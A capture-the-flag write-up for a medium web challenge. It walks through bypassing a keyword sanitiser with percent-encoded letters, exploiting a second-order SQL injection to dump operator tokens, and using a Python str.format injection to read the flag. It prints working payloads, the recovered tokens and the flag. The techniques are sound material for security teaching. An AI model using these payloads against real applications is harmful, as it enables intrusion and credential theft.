Skip to content
Adam Omar Saleh

Chronos Security logo, as used by CSCTF 2026CSCTF 2026Web

Operation Dawn: The Dispatch Console

The console filters request parameters for union, select and --, but it checks the raw, still-URL-encoded body, while the model binder decodes it afterwards.

Competition
Chronos Security logo, as used by CSCTF 2026CSCTF 2026
Category
WebMedium
Source status
Source-documented · not platform-verified
Document
PDF edition4 min read

Brief

The challenge

Category
Web
Difficulty
Medium
Points
430
Target
http://w03.ctf.chronos-security.ro:<port> (AshNet-Dispatch 4.3)

Operation Dawn, annex entry 08. We captured the Ash field dispatch console and stood it back up. A plain visitor can read and file dispatches, but the command net is locked and its standing order with it. The console runs everything past a sanitiser before it touches the database. Get command's standing order.

TL;DR

The console filters request parameters for union, select and --, but it checks the raw, still-URL-encoded body, while the model binder decodes it afterwards. So sel%65ct passes the filter and is stored as select. A filed dispatch's callsign is later concatenated unsanitised into the /digest query (... WHERE callsign='<stored>') — a classic second-order SQL injection. Through it I UNION SELECT the operators table, recover the command operator token, and reach /report. The /report fmt field is then a Python str.format() injection, so {dispatch.__init__.__globals__[FLAG]} prints the flag.

Text
file dispatch with URL-encoded "union/select" → bypass sanitiser→ second-order SQLi in /digest → dump operators.token (WARDEN / role=command)→ /report?token=... → str.format injection → {dispatch.__init__.__globals__[FLAG]}

01

Recon

The app (Server: AshNet-Dispatch/4.3, strict CSP, no JS) has four actions, all reachable without login:

  • GET /dispatches?callsign= — read a callsign's dispatches.

  • POST /post (callsign, body) — file a dispatch; "passed through the console sanitiser before the unit log is touched."

  • GET /digest — the duty officer's per-callsign roll-up of the whole unit log.

  • GET /report?token=&fmt= — renders command's standing order from a template, but requires a command operator token (command authorisation required, HTTP 403).

Default template: dispatch {dispatch.ref}: {dispatch.body}.

02

Mapping the sanitiser

Direct SQLi is dead: /dispatches, /post and /report's token all treat quotes as literals (parameterised). The sanitiser rejects (HTTP 403, "request rejected by console sanitiser") only three case-insensitive substrings:

  • union

  • select

  • --

Everything else (', ;, /* */, #, ||, or, and, hex…) passes. Blocking exactly union/select is the tell: the intended attack needs them, so a bypass must exist.

03

Second-order SQL injection in the digest

Filing a dispatch and running /digest shows the dispatch grouped by callsign. Filing a dispatch whose callsign is ZX' OR '1'='1 makes that group report every row in the table:

Text
ZX' OR '1'='1: 27 dispatch(es)  - Relief party reached post four. No contact.  ...

So the digest builds, per stored callsign, a query like:

SQL
SELECT body FROM dispatches WHERE callsign = '<stored_callsign>'

The stored value comes straight from the DB and is never re-sanitised — second-order injection. But to UNION SELECT another table I still have to get union/select into the stored callsign, and the POST sanitiser blocks them.

04

Bypassing the sanitiser (raw vs decoded)

The sanitiser inspects the request body before URL-decoding; the form binder decodes after. Proof:

POST callsign (raw body)resultstored as
ENCD+select403 rejected—
ENCA%73elect_marker201 filedENCAselect_marker
ENCC+uni%6fn+sel%65ct201 filedENCC union select

Percent-encoding a single letter (sel%65ct, uni%6fn, %2d%2d) slips past the filter, and the stored, decoded value contains the real keyword. Combined with step 3, that is a full UNION SELECT primitive. (inj.py encodes these automatically.)

05

Dumping the database

SQLite 3.46.1, one column in the digest's SELECT. Enumerating:

Text
tables  : operators | dispatchesoperators: CREATE TABLE operators (id INTEGER PRIMARY KEY, callsign TEXT, token TEXT, role TEXT)

Dumping operators:

Text
EMBER  :: post    :: OP-3cdbc38a9f383cd1de84CINDER :: post    :: OP-0ed1cffc444698ecdd50WARDEN :: command :: AC-7bf4511075bb7cf7726bee5f

WARDEN has role=command. Its token is the command operator token.

Injection payload (keywords get percent-encoded by inj.py before sending):

Text
callsign = OPSX1' UNION SELECT group_concat(callsign||' :: '||role||' :: '||token, ' || ') FROM operators WHERE 'a'='a

06

/report and the Python format-string injection

With the token, /report renders the standing order:

Text
/report?token=AC-7bf4511075bb7cf7726bee5f&fmt=dispatch {dispatch.ref}: {dispatch.body}→ Rendered order dispatch 0001: Command net quiet. Hold positions.

The body is only flavour. The error messages give the real bug away — this is Python, not .NET:

Python
fmt={dispatch}            → <__main__.Dispatch object at 0x...>fmt={dispatch.callsign}   → 'Dispatch' object has no attribute 'callsign'fmt={0}                   → Replacement index 0 out of range for positional args tuple

fmt is passed to str.format(dispatch=...), so it's a format-string injection. Walk from the object to module globals:

Text
/report?token=AC-7bf4511075bb7cf7726bee5f&fmt={dispatch.__init__.__globals__[FLAG]}→ Rendered order CSCTF{BxbxTMX9cTtd17vVNOiv49dW}

Flag

Flag

CSCTF{BxbxTMX9cTtd17vVNOiv49dW}

Source-documented · not platform-verified

Tooling

  • d.py — helpers to read dispatches / digest / report and probe the sanitiser.

  • inj.py — second-order SQLi primitive: percent-encodes union/select/--, files the crafted callsign, then reads that group back out of the digest.

Takeaways

  • A denylist that runs on a different representation than the one that reaches the sink is no defence: the sanitiser saw sel%65ct, the database saw select.

  • Parameterise every query. The reads were safe, but a value re-used from the database into the digest query was concatenated and reintroduced the vulnerability (second order).

  • Never hand user input to str.format() as the format string — {obj.__init__.__globals__[...]} reaches arbitrary module state.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 5 pages.